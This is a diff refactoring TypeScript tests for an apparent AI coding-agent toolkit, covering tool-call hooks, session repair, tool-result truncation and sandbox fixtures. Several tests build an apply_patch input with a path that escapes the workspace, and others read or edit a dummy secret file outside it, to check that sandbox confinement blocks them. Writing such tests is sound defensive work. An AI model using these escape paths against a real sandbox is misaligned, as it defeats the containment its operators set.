async function executeReadTool(callId: string) {
|
||||
const defs = toToolDefinitions([createReadTool()]);
|
||||
return await defs[0].execute(callId, { path: "/tmp/file" }, undefined, undefined);
|
||||
}
|
||||
|
||||
function expectReadAfterToolCallPayload(result: Awaited<ReturnType<typeof executeReadTool>>) {
|
||||
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith(
|
||||
{
|
||||
toolName: "read",
|
||||
params: { mode: "safe" },
|
||||
result,
|
||||
},
|
||||
{ toolName: "read" },
|
||||
);
|
||||
}
|
||||
|
||||
describe("pi tool definition adapter after_tool_call", () => {
|
||||
beforeEach(() => {
|
||||
hookMocks.runner.hasHooks.mockReset();
|
||||
@@ -42,68 +72,31 @@ describe("pi tool definition adapter after_tool_call", () => {
|
||||
});
|
||||
|
||||
it("dispatches after_tool_call once on successful adapter execution", async () => {
|
||||
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
|
||||
enableAfterToolCallHook();
|
||||
hookMocks.runBeforeToolCallHook.mockResolvedValue({
|
||||
blocked: false,
|
||||
params: { mode: "safe" },
|
||||
});
|
||||
const tool = {
|
||||
name: "read",
|
||||
label: "Read",
|
||||
description: "reads",
|
||||
parameters: {},
|
||||
execute: vi.fn(async () => ({ content: [], details: { ok: true } })),
|
||||
} satisfies AgentTool<unknown, unknown>;
|
||||
|
||||
const defs = toToolDefinitions([tool]);
|
||||
const result = await defs[0].execute("call-ok", { path: "/tmp/file" }, undefined, undefined);
|
||||
const result = await executeReadTool("call-ok");
|
||||
|
||||
expect(result.details).toMatchObject({ ok: true });
|
||||
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledTimes(1);
|
||||
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith(
|
||||
{
|
||||
toolName: "read",
|
||||
params: { mode: "safe" },
|
||||
result,
|
||||
},
|
||||
{ toolName: "read" },
|
||||
);
|
||||
expectReadAfterToolCallPayload(result);
|
||||
});
|
||||
|
||||
it("uses wrapped-tool adjusted params for after_tool_call payload", async () => {
|
||||
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
|
||||
enableAfterToolCallHook();
|
||||
hookMocks.isToolWrappedWithBeforeToolCallHook.mockReturnValue(true);
|
||||
hookMocks.consumeAdjustedParamsForToolCall.mockReturnValue({ mode: "safe" });
|
||||
const tool = {
|
||||
name: "read",
|
||||
label: "Read",
|
||||
description: "reads",
|
||||
parameters: {},
|
||||
execute: vi.fn(async () => ({ content: [], details: { ok: true } })),
|
||||
} satisfies AgentTool<unknown, unknown>;
|
||||
|
||||
const defs = toToolDefinitions([tool]);
|
||||
const result = await defs[0].execute(
|
||||
"call-ok-wrapped",
|
||||
{ path: "/tmp/file" },
|
||||
undefined,
|
||||
undefined,
|
||||
);
|
||||
const result = await executeReadTool("call-ok-wrapped");
|
||||
|
||||
expect(result.details).toMatchObject({ ok: true });
|
||||
expect(hookMocks.runBeforeToolCallHook).not.toHaveBeenCalled();
|
||||
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith(
|
||||
{
|
||||
toolName: "read",
|
||||
params: { mode: "safe" },
|
||||
result,
|
||||
},
|
||||
{ toolName: "read" },
|
||||
);
|
||||
expectReadAfterToolCallPayload(result);
|
||||
});
|
||||
|
||||
it("dispatches after_tool_call once on adapter error with normalized tool name", async () => {
|
||||
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
|
||||
enableAfterToolCallHook();
|
||||
const tool = {
|
||||
name: "bash",
|
||||
label: "Bash",
|
||||
@@ -134,18 +127,9 @@ describe("pi tool definition adapter after_tool_call", () => {
|
||||
});
|
||||
|
||||
it("does not break execution when after_tool_call hook throws", async () => {
|
||||
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
|
||||
enableAfterToolCallHook();
|
||||
hookMocks.runner.runAfterToolCall.mockRejectedValue(new Error("hook failed"));
|
||||
const tool = {
|
||||
name: "read",
|
||||
label: "Read",
|
||||
description: "reads",
|
||||
parameters: {},
|
||||
execute: vi.fn(async () => ({ content: [], details: { ok: true } })),
|
||||
} satisfies AgentTool<unknown, unknown>;
|
||||
|
||||
const defs = toToolDefinitions([tool]);
|
||||
const result = await defs[0].execute("call-ok2", { path: "/tmp/file" }, undefined, undefined);
|
||||
const result = await executeReadTool("call-ok2");
|
||||
|
||||
expect(result.details).toMatchObject({ ok: true });
|
||||
expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledTimes(1);
|
||||
|
||||
@@ -27,6 +27,64 @@ describe("Agent-specific tool filtering", () => {
|
||||
stat: async () => null,
|
||||
};
|
||||
|
||||
async function withApplyPatchEscapeCase(
|
||||
opts: { workspaceOnly?: boolean },
|
||||
run: (params: {
|
||||
applyPatchTool: ToolWithExecute;
|
||||
escapedPath: string;
|
||||
patch: string;
|
||||
}) => Promise<void>,
|
||||
) {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-"));
|
||||
const escapedPath = path.join(
|
||||
path.dirname(workspaceDir),
|
||||
`escaped-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`,
|
||||
);
|
||||
const relativeEscape = path.relative(workspaceDir, escapedPath);
|
||||
|
||||
try {
|
||||
const cfg: OpenClawConfig = {
|
||||
tools: {
|
||||
allow: ["read", "exec"],
|
||||
exec: {
|
||||
applyPatch: {
|
||||
enabled: true,
|
||||
...(opts.workspaceOnly === false ? { workspaceOnly: false } : {}),
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const tools = createOpenClawCodingTools({
|
||||
config: cfg,
|
||||
sessionKey: "agent:main:main",
|
||||
workspaceDir,
|
||||
agentDir: "/tmp/agent",
|
||||
modelProvider: "openai",
|
||||
modelId: "gpt-5.2",
|
||||
});
|
||||
|
||||
const applyPatchTool = tools.find((t) => t.name === "apply_patch");
|
||||
if (!applyPatchTool) {
|
||||
throw new Error("apply_patch tool missing");
|
||||
}
|
||||
|
||||
const patch = `*** Begin Patch
|
||||
*** Add File: ${relativeEscape}
|
||||
+escaped
|
||||
*** End Patch`;
|
||||
|
||||
await run({
|
||||
applyPatchTool: applyPatchTool as unknown as ToolWithExecute,
|
||||
escapedPath,
|
||||
patch,
|
||||
});
|
||||
} finally {
|
||||
await fs.rm(escapedPath, { force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
it("should apply global tool policy when no agent-specific policy exists", () => {
|
||||
const cfg: OpenClawConfig = {
|
||||
tools: {
|
||||
@@ -118,96 +176,23 @@ describe("Agent-specific tool filtering", () => {
|
||||
});
|
||||
|
||||
it("defaults apply_patch to workspace-only (blocks traversal)", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-"));
|
||||
const escapedPath = path.join(
|
||||
path.dirname(workspaceDir),
|
||||
`escaped-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`,
|
||||
);
|
||||
const relativeEscape = path.relative(workspaceDir, escapedPath);
|
||||
|
||||
try {
|
||||
const cfg: OpenClawConfig = {
|
||||
tools: {
|
||||
allow: ["read", "exec"],
|
||||
exec: {
|
||||
applyPatch: { enabled: true },
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const tools = createOpenClawCodingTools({
|
||||
config: cfg,
|
||||
sessionKey: "agent:main:main",
|
||||
workspaceDir,
|
||||
agentDir: "/tmp/agent",
|
||||
modelProvider: "openai",
|
||||
modelId: "gpt-5.2",
|
||||
});
|
||||
|
||||
const applyPatchTool = tools.find((t) => t.name === "apply_patch");
|
||||
if (!applyPatchTool) {
|
||||
throw new Error("apply_patch tool missing");
|
||||
}
|
||||
|
||||
const patch = `*** Begin Patch
|
||||
*** Add File: ${relativeEscape}
|
||||
+escaped
|
||||
*** End Patch`;
|
||||
|
||||
await expect(
|
||||
(applyPatchTool as unknown as ToolWithExecute).execute("tc1", { input: patch }),
|
||||
).rejects.toThrow(/Path escapes sandbox root/);
|
||||
await withApplyPatchEscapeCase({}, async ({ applyPatchTool, escapedPath, patch }) => {
|
||||
await expect(applyPatchTool.execute("tc1", { input: patch })).rejects.toThrow(
|
||||
/Path escapes sandbox root/,
|
||||
);
|
||||
await expect(fs.readFile(escapedPath, "utf8")).rejects.toBeDefined();
|
||||
} finally {
|
||||
await fs.rm(escapedPath, { force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it("allows disabling apply_patch workspace-only via config (dangerous)", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-"));
|
||||
const escapedPath = path.join(
|
||||
path.dirname(workspaceDir),
|
||||
`escaped-allow-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`,
|
||||
await withApplyPatchEscapeCase(
|
||||
{ workspaceOnly: false },
|
||||
async ({ applyPatchTool, escapedPath, patch }) => {
|
||||
await applyPatchTool.execute("tc2", { input: patch });
|
||||
const contents = await fs.readFile(escapedPath, "utf8");
|
||||
expect(contents).toBe("escaped\n");
|
||||
},
|
||||
);
|
||||
const relativeEscape = path.relative(workspaceDir, escapedPath);
|
||||
|
||||
try {
|
||||
const cfg: OpenClawConfig = {
|
||||
tools: {
|
||||
allow: ["read", "exec"],
|
||||
exec: {
|
||||
applyPatch: { enabled: true, workspaceOnly: false },
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const tools = createOpenClawCodingTools({
|
||||
config: cfg,
|
||||
sessionKey: "agent:main:main",
|
||||
workspaceDir,
|
||||
agentDir: "/tmp/agent",
|
||||
modelProvider: "openai",
|
||||
modelId: "gpt-5.2",
|
||||
});
|
||||
|
||||
const applyPatchTool = tools.find((t) => t.name === "apply_patch");
|
||||
if (!applyPatchTool) {
|
||||
throw new Error("apply_patch tool missing");
|
||||
}
|
||||
|
||||
const patch = `*** Begin Patch
|
||||
*** Add File: ${relativeEscape}
|
||||
+escaped
|
||||
*** End Patch`;
|
||||
|
||||
await (applyPatchTool as unknown as ToolWithExecute).execute("tc2", { input: patch });
|
||||
const contents = await fs.readFile(escapedPath, "utf8");
|
||||
expect(contents).toBe("escaped\n");
|
||||
} finally {
|
||||
await fs.rm(escapedPath, { force: true });
|
||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("should apply agent-specific tool policy", () => {
|
||||
|
||||
@@ -88,19 +88,28 @@ function createSandbox(params: {
|
||||
};
|
||||
}
|
||||
|
||||
async function withUnsafeMountedSandboxHarness(
|
||||
run: (ctx: { sandboxRoot: string; agentRoot: string; sandbox: SandboxContext }) => Promise<void>,
|
||||
) {
|
||||
const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-"));
|
||||
const sandboxRoot = path.join(stateDir, "sandbox");
|
||||
const agentRoot = path.join(stateDir, "agent");
|
||||
await fs.mkdir(sandboxRoot, { recursive: true });
|
||||
await fs.mkdir(agentRoot, { recursive: true });
|
||||
const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot });
|
||||
const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge });
|
||||
try {
|
||||
await run({ sandboxRoot, agentRoot, sandbox });
|
||||
} finally {
|
||||
await fs.rm(stateDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
describe("tools.fs.workspaceOnly", () => {
|
||||
it("defaults to allowing sandbox mounts outside the workspace root", async () => {
|
||||
const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-"));
|
||||
const sandboxRoot = path.join(stateDir, "sandbox");
|
||||
const agentRoot = path.join(stateDir, "agent");
|
||||
await fs.mkdir(sandboxRoot, { recursive: true });
|
||||
await fs.mkdir(agentRoot, { recursive: true });
|
||||
try {
|
||||
await withUnsafeMountedSandboxHarness(async ({ sandboxRoot, agentRoot, sandbox }) => {
|
||||
await fs.writeFile(path.join(agentRoot, "secret.txt"), "shh", "utf8");
|
||||
|
||||
const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot });
|
||||
const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge });
|
||||
|
||||
const tools = createOpenClawCodingTools({ sandbox, workspaceDir: sandboxRoot });
|
||||
const readTool = tools.find((tool) => tool.name === "read");
|
||||
const writeTool = tools.find((tool) => tool.name === "write");
|
||||
@@ -112,23 +121,13 @@ describe("tools.fs.workspaceOnly", () => {
|
||||
|
||||
await writeTool?.execute("t2", { path: "/agent/owned.txt", content: "x" });
|
||||
expect(await fs.readFile(path.join(agentRoot, "owned.txt"), "utf8")).toBe("x");
|
||||
} finally {
|
||||
await fs.rm(stateDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects sandbox mounts outside the workspace root when enabled", async () => {
|
||||
const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-"));
|
||||
const sandboxRoot = path.join(stateDir, "sandbox");
|
||||
const agentRoot = path.join(stateDir, "agent");
|
||||
await fs.mkdir(sandboxRoot, { recursive: true });
|
||||
await fs.mkdir(agentRoot, { recursive: true });
|
||||
try {
|
||||
await withUnsafeMountedSandboxHarness(async ({ sandboxRoot, agentRoot, sandbox }) => {
|
||||
await fs.writeFile(path.join(agentRoot, "secret.txt"), "shh", "utf8");
|
||||
|
||||
const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot });
|
||||
const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge });
|
||||
|
||||
const cfg = { tools: { fs: { workspaceOnly: true } } } as unknown as OpenClawConfig;
|
||||
const tools = createOpenClawCodingTools({ sandbox, workspaceDir: sandboxRoot, config: cfg });
|
||||
const readTool = tools.find((tool) => tool.name === "read");
|
||||
@@ -153,8 +152,6 @@ describe("tools.fs.workspaceOnly", () => {
|
||||
editTool?.execute("t3", { path: "/agent/secret.txt", oldText: "shh", newText: "nope" }),
|
||||
).rejects.toThrow(/Path escapes sandbox root/i);
|
||||
expect(await fs.readFile(path.join(agentRoot, "secret.txt"), "utf8")).toBe("shh");
|
||||
} finally {
|
||||
await fs.rm(stateDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -7,39 +7,21 @@ vi.mock("./docker.js", () => ({
|
||||
import type { SandboxContext } from "./types.js";
|
||||
import { execDockerRaw } from "./docker.js";
|
||||
import { createSandboxFsBridge } from "./fs-bridge.js";
|
||||
import { createSandboxTestContext } from "./test-fixtures.js";
|
||||
|
||||
const mockedExecDockerRaw = vi.mocked(execDockerRaw);
|
||||
|
||||
function createSandbox(overrides?: Partial<SandboxContext>): SandboxContext {
|
||||
return {
|
||||
enabled: true,
|
||||
sessionKey: "sandbox:test",
|
||||
workspaceDir: "/tmp/workspace",
|
||||
agentWorkspaceDir: "/tmp/workspace",
|
||||
workspaceAccess: "rw",
|
||||
containerName: "moltbot-sbx-test",
|
||||
containerWorkdir: "/workspace",
|
||||
docker: {
|
||||
return createSandboxTestContext({
|
||||
overrides: {
|
||||
containerName: "moltbot-sbx-test",
|
||||
...overrides,
|
||||
},
|
||||
dockerOverrides: {
|
||||
image: "moltbot-sandbox:bookworm-slim",
|
||||
containerPrefix: "moltbot-sbx-",
|
||||
network: "none",
|
||||
user: "1000:1000",
|
||||
workdir: "/workspace",
|
||||
readOnlyRoot: false,
|
||||
tmpfs: [],
|
||||
capDrop: [],
|
||||
seccompProfile: "",
|
||||
apparmorProfile: "",
|
||||
setupCommand: "",
|
||||
binds: [],
|
||||
dns: [],
|
||||
extraHosts: [],
|
||||
pidsLimit: 0,
|
||||
},
|
||||
tools: { allow: ["*"], deny: [] },
|
||||
browserAllowHostControl: false,
|
||||
...overrides,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
describe("sandbox fs bridge shell compatibility", () => {
|
||||
|
||||
@@ -6,37 +6,10 @@ import {
|
||||
parseSandboxBindMount,
|
||||
resolveSandboxFsPathWithMounts,
|
||||
} from "./fs-paths.js";
|
||||
import { createSandboxTestContext } from "./test-fixtures.js";
|
||||
|
||||
function createSandbox(overrides?: Partial<SandboxContext>): SandboxContext {
|
||||
return {
|
||||
enabled: true,
|
||||
sessionKey: "sandbox:test",
|
||||
workspaceDir: "/tmp/workspace",
|
||||
agentWorkspaceDir: "/tmp/workspace",
|
||||
workspaceAccess: "rw",
|
||||
containerName: "openclaw-sbx-test",
|
||||
containerWorkdir: "/workspace",
|
||||
docker: {
|
||||
image: "openclaw-sandbox:bookworm-slim",
|
||||
containerPrefix: "openclaw-sbx-",
|
||||
network: "none",
|
||||
user: "1000:1000",
|
||||
workdir: "/workspace",
|
||||
readOnlyRoot: false,
|
||||
tmpfs: [],
|
||||
capDrop: [],
|
||||
seccompProfile: "",
|
||||
apparmorProfile: "",
|
||||
setupCommand: "",
|
||||
binds: [],
|
||||
dns: [],
|
||||
extraHosts: [],
|
||||
pidsLimit: 0,
|
||||
},
|
||||
tools: { allow: ["*"], deny: [] },
|
||||
browserAllowHostControl: false,
|
||||
...overrides,
|
||||
};
|
||||
return createSandboxTestContext({ overrides });
|
||||
}
|
||||
|
||||
describe("parseSandboxBindMount", () => {
|
||||
|
||||
42
src/agents/sandbox/test-fixtures.ts
Normal file
42
src/agents/sandbox/test-fixtures.ts
Normal file
@@ -0,0 +1,42 @@
|
||||
import type { SandboxContext } from "./types.js";
|
||||
|
||||
export function createSandboxTestContext(params?: {
|
||||
overrides?: Partial<SandboxContext>;
|
||||
dockerOverrides?: Partial<SandboxContext["docker"]>;
|
||||
}): SandboxContext {
|
||||
const overrides = params?.overrides ?? {};
|
||||
const { docker: _unusedDockerOverrides, ...sandboxOverrides } = overrides;
|
||||
const docker = {
|
||||
image: "openclaw-sandbox:bookworm-slim",
|
||||
containerPrefix: "openclaw-sbx-",
|
||||
network: "none",
|
||||
user: "1000:1000",
|
||||
workdir: "/workspace",
|
||||
readOnlyRoot: false,
|
||||
tmpfs: [],
|
||||
capDrop: [],
|
||||
seccompProfile: "",
|
||||
apparmorProfile: "",
|
||||
setupCommand: "",
|
||||
binds: [],
|
||||
dns: [],
|
||||
extraHosts: [],
|
||||
pidsLimit: 0,
|
||||
...overrides.docker,
|
||||
...params?.dockerOverrides,
|
||||
};
|
||||
|
||||
return {
|
||||
enabled: true,
|
||||
sessionKey: "sandbox:test",
|
||||
workspaceDir: "/tmp/workspace",
|
||||
agentWorkspaceDir: "/tmp/workspace",
|
||||
workspaceAccess: "rw",
|
||||
containerName: "openclaw-sbx-test",
|
||||
containerWorkdir: "/workspace",
|
||||
tools: { allow: ["*"], deny: [] },
|
||||
browserAllowHostControl: false,
|
||||
...sandboxOverrides,
|
||||
docker,
|
||||
};
|
||||
}
|
||||
@@ -4,24 +4,29 @@ import path from "node:path";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { repairSessionFileIfNeeded } from "./session-file-repair.js";
|
||||
|
||||
function buildSessionHeaderAndMessage() {
|
||||
const header = {
|
||||
type: "session",
|
||||
version: 7,
|
||||
id: "session-1",
|
||||
timestamp: new Date().toISOString(),
|
||||
cwd: "/tmp",
|
||||
};
|
||||
const message = {
|
||||
type: "message",
|
||||
id: "msg-1",
|
||||
parentId: null,
|
||||
timestamp: new Date().toISOString(),
|
||||
message: { role: "user", content: "hello" },
|
||||
};
|
||||
return { header, message };
|
||||
}
|
||||
|
||||
describe("repairSessionFileIfNeeded", () => {
|
||||
it("rewrites session files that contain malformed lines", async () => {
|
||||
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-session-repair-"));
|
||||
const file = path.join(dir, "session.jsonl");
|
||||
const header = {
|
||||
type: "session",
|
||||
version: 7,
|
||||
id: "session-1",
|
||||
timestamp: new Date().toISOString(),
|
||||
cwd: "/tmp",
|
||||
};
|
||||
const message = {
|
||||
type: "message",
|
||||
id: "msg-1",
|
||||
parentId: null,
|
||||
timestamp: new Date().toISOString(),
|
||||
message: { role: "user", content: "hello" },
|
||||
};
|
||||
const { header, message } = buildSessionHeaderAndMessage();
|
||||
|
||||
const content = `${JSON.stringify(header)}\n${JSON.stringify(message)}\n{"type":"message"`;
|
||||
await fs.writeFile(file, content, "utf-8");
|
||||
@@ -43,20 +48,7 @@ describe("repairSessionFileIfNeeded", () => {
|
||||
it("does not drop CRLF-terminated JSONL lines", async () => {
|
||||
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-session-repair-"));
|
||||
const file = path.join(dir, "session.jsonl");
|
||||
const header = {
|
||||
type: "session",
|
||||
version: 7,
|
||||
id: "session-1",
|
||||
timestamp: new Date().toISOString(),
|
||||
cwd: "/tmp",
|
||||
};
|
||||
const message = {
|
||||
type: "message",
|
||||
id: "msg-1",
|
||||
parentId: null,
|
||||
timestamp: new Date().toISOString(),
|
||||
message: { role: "user", content: "hello" },
|
||||
};
|
||||
const { header, message } = buildSessionHeaderAndMessage();
|
||||
const content = `${JSON.stringify(header)}\r\n${JSON.stringify(message)}\r\n`;
|
||||
await fs.writeFile(file, content, "utf-8");
|
||||
|
||||
|
||||
@@ -12,6 +12,38 @@ const toolCallMessage = asAppendMessage({
|
||||
content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }],
|
||||
});
|
||||
|
||||
function appendToolResultText(sm: SessionManager, text: string) {
|
||||
sm.appendMessage(toolCallMessage);
|
||||
sm.appendMessage(
|
||||
asAppendMessage({
|
||||
role: "toolResult",
|
||||
toolCallId: "call_1",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text }],
|
||||
isError: false,
|
||||
timestamp: Date.now(),
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
function getPersistedMessages(sm: SessionManager): AgentMessage[] {
|
||||
return sm
|
||||
.getEntries()
|
||||
.filter((e) => e.type === "message")
|
||||
.map((e) => (e as { message: AgentMessage }).message);
|
||||
}
|
||||
|
||||
function getToolResultText(messages: AgentMessage[]): string {
|
||||
const toolResult = messages.find((m) => m.role === "toolResult") as {
|
||||
content: Array<{ type: string; text: string }>;
|
||||
};
|
||||
expect(toolResult).toBeDefined();
|
||||
const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as {
|
||||
text: string;
|
||||
};
|
||||
return textBlock.text;
|
||||
}
|
||||
|
||||
describe("installSessionToolResultGuard", () => {
|
||||
it("inserts synthetic toolResult before non-tool message when pending", () => {
|
||||
const sm = SessionManager.inMemory();
|
||||
@@ -211,32 +243,11 @@ describe("installSessionToolResultGuard", () => {
|
||||
const sm = SessionManager.inMemory();
|
||||
installSessionToolResultGuard(sm);
|
||||
|
||||
sm.appendMessage(toolCallMessage);
|
||||
sm.appendMessage(
|
||||
asAppendMessage({
|
||||
role: "toolResult",
|
||||
toolCallId: "call_1",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "x".repeat(500_000) }],
|
||||
isError: false,
|
||||
timestamp: Date.now(),
|
||||
}),
|
||||
);
|
||||
appendToolResultText(sm, "x".repeat(500_000));
|
||||
|
||||
const entries = sm
|
||||
.getEntries()
|
||||
.filter((e) => e.type === "message")
|
||||
.map((e) => (e as { message: AgentMessage }).message);
|
||||
|
||||
const toolResult = entries.find((m) => m.role === "toolResult") as {
|
||||
content: Array<{ type: string; text: string }>;
|
||||
};
|
||||
expect(toolResult).toBeDefined();
|
||||
const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as {
|
||||
text: string;
|
||||
};
|
||||
expect(textBlock.text.length).toBeLessThan(500_000);
|
||||
expect(textBlock.text).toContain("truncated");
|
||||
const text = getToolResultText(getPersistedMessages(sm));
|
||||
expect(text.length).toBeLessThan(500_000);
|
||||
expect(text).toContain("truncated");
|
||||
});
|
||||
|
||||
it("does not truncate tool results under the limit", () => {
|
||||
@@ -244,30 +255,10 @@ describe("installSessionToolResultGuard", () => {
|
||||
installSessionToolResultGuard(sm);
|
||||
|
||||
const originalText = "small tool result";
|
||||
sm.appendMessage(toolCallMessage);
|
||||
sm.appendMessage(
|
||||
asAppendMessage({
|
||||
role: "toolResult",
|
||||
toolCallId: "call_1",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: originalText }],
|
||||
isError: false,
|
||||
timestamp: Date.now(),
|
||||
}),
|
||||
);
|
||||
appendToolResultText(sm, originalText);
|
||||
|
||||
const entries = sm
|
||||
.getEntries()
|
||||
.filter((e) => e.type === "message")
|
||||
.map((e) => (e as { message: AgentMessage }).message);
|
||||
|
||||
const toolResult = entries.find((m) => m.role === "toolResult") as {
|
||||
content: Array<{ type: string; text: string }>;
|
||||
};
|
||||
const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as {
|
||||
text: string;
|
||||
};
|
||||
expect(textBlock.text).toBe(originalText);
|
||||
const text = getToolResultText(getPersistedMessages(sm));
|
||||
expect(text).toBe(originalText);
|
||||
});
|
||||
|
||||
it("applies message persistence transform to user messages", () => {
|
||||
|
||||
@@ -33,6 +33,32 @@ function writeTempPlugin(params: { dir: string; id: string; body: string }): str
|
||||
return file;
|
||||
}
|
||||
|
||||
function appendToolCallAndResult(sm: ReturnType<typeof SessionManager.inMemory>) {
|
||||
sm.appendMessage({
|
||||
role: "assistant",
|
||||
content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }],
|
||||
} as AgentMessage);
|
||||
|
||||
sm.appendMessage({
|
||||
role: "toolResult",
|
||||
toolCallId: "call_1",
|
||||
isError: false,
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
details: { big: "x".repeat(10_000) },
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
} as any);
|
||||
}
|
||||
|
||||
function getPersistedToolResult(sm: ReturnType<typeof SessionManager.inMemory>) {
|
||||
const messages = sm
|
||||
.getEntries()
|
||||
.filter((e) => e.type === "message")
|
||||
.map((e) => (e as { message: AgentMessage }).message);
|
||||
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
return messages.find((m) => (m as any).role === "toolResult") as any;
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
resetGlobalHookRunner();
|
||||
});
|
||||
@@ -43,28 +69,8 @@ describe("tool_result_persist hook", () => {
|
||||
agentId: "main",
|
||||
sessionKey: "main",
|
||||
});
|
||||
|
||||
sm.appendMessage({
|
||||
role: "assistant",
|
||||
content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }],
|
||||
} as AgentMessage);
|
||||
|
||||
sm.appendMessage({
|
||||
role: "toolResult",
|
||||
toolCallId: "call_1",
|
||||
isError: false,
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
details: { big: "x".repeat(10_000) },
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
} as any);
|
||||
|
||||
const messages = sm
|
||||
.getEntries()
|
||||
.filter((e) => e.type === "message")
|
||||
.map((e) => (e as { message: AgentMessage }).message);
|
||||
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
const toolResult = messages.find((m) => (m as any).role === "toolResult") as any;
|
||||
appendToolCallAndResult(sm);
|
||||
const toolResult = getPersistedToolResult(sm);
|
||||
expect(toolResult).toBeTruthy();
|
||||
expect(toolResult.details).toBeTruthy();
|
||||
});
|
||||
@@ -114,29 +120,8 @@ describe("tool_result_persist hook", () => {
|
||||
sessionKey: "main",
|
||||
});
|
||||
|
||||
// Tool call (so the guard can infer tool name -> id mapping).
|
||||
sm.appendMessage({
|
||||
role: "assistant",
|
||||
content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }],
|
||||
} as AgentMessage);
|
||||
|
||||
// Tool result containing a large-ish details payload.
|
||||
sm.appendMessage({
|
||||
role: "toolResult",
|
||||
toolCallId: "call_1",
|
||||
isError: false,
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
details: { big: "x".repeat(10_000) },
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
} as any);
|
||||
|
||||
const messages = sm
|
||||
.getEntries()
|
||||
.filter((e) => e.type === "message")
|
||||
.map((e) => (e as { message: AgentMessage }).message);
|
||||
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
const toolResult = messages.find((m) => (m as any).role === "toolResult") as any;
|
||||
appendToolCallAndResult(sm);
|
||||
const toolResult = getPersistedToolResult(sm);
|
||||
expect(toolResult).toBeTruthy();
|
||||
|
||||
// Hook registration should not break baseline persistence semantics.
|
||||
|
||||
@@ -1,28 +1,10 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const callGatewayMock = vi.fn();
|
||||
vi.mock("../gateway/call.js", () => ({
|
||||
callGateway: (opts: unknown) => callGatewayMock(opts),
|
||||
}));
|
||||
|
||||
let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfig"]> = {
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
},
|
||||
};
|
||||
|
||||
vi.mock("../config/config.js", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("../config/config.js")>();
|
||||
return {
|
||||
...actual,
|
||||
loadConfig: () => configOverride,
|
||||
resolveGatewayPort: () => 18789,
|
||||
};
|
||||
});
|
||||
|
||||
import "./test-helpers/fast-core-tools.js";
|
||||
import { beforeEach, describe, expect, it } from "vitest";
|
||||
import { createOpenClawTools } from "./openclaw-tools.js";
|
||||
import "./test-helpers/fast-core-tools.js";
|
||||
import {
|
||||
callGatewayMock,
|
||||
setSubagentsConfigOverride,
|
||||
} from "./openclaw-tools.subagents.test-harness.js";
|
||||
import {
|
||||
listSubagentRunsForRequester,
|
||||
resetSubagentRegistryForTests,
|
